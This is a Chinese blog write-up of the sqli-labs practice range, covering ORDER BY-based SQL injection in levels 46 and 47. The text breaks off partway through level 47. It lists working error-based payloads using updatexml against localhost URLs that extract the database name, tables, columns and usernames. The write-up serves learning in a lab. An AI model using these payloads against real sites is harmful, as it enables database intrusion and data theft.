Sql-labs 靶场(46-53)

最新推荐文章于 2025-12-20 13:10:13 发布

原创最新推荐文章于 2025-12-20 13:10:13 发布 · 620 阅读

20 ·

CC 4.0 BY-SA版权

文章标签：

#数据库

第 46 关

本关使用的是 order by 排序不同于where后面的注入，它不可以使用union联合查询注入，但可以用盲注、时间、报错等函数进行注入

① 判断闭合符

不管输入字符型什么闭合符都报错，然后使用数值 1=1、1=2 都不报错进一步判断

② 判断数据库

在进行获取数据库时分别使用了字符型和数字型最后发现是数字型

http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select database())),3) -- -

③ 判断表名

语法：http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) -- -

④ 判断字段名

语法：http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) -- -

⑤ 获取数据

语法：http://127.0.0.1/sql/Less-46/?sort=1 and updatexml(1,concat(2,(select group_concat(username) from security.users)),3) -- -

第 47 关

① 判断闭合符

输入单引号报错，双引号不报错然后给单引号加上注释符不报错由此判断闭合符为单引号

② 判断库名

语法： http://127.0.0.1/sql/Less-47/?sort=1' and updatexml(1,concat(2,(select database())),3) -- -

③ 判断表名

语法：http://127.0.0.1/sql/Less-47/?sort=1' and updatexml(1,concat(2,(select group_concat(table_name) from information_schema.tables where table_schema='security')),3) -- -

④ 判断字段名

语法：http://127.0.0.1/sql/Less-47/?sort=1' and updatexml(1,concat(2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) -- -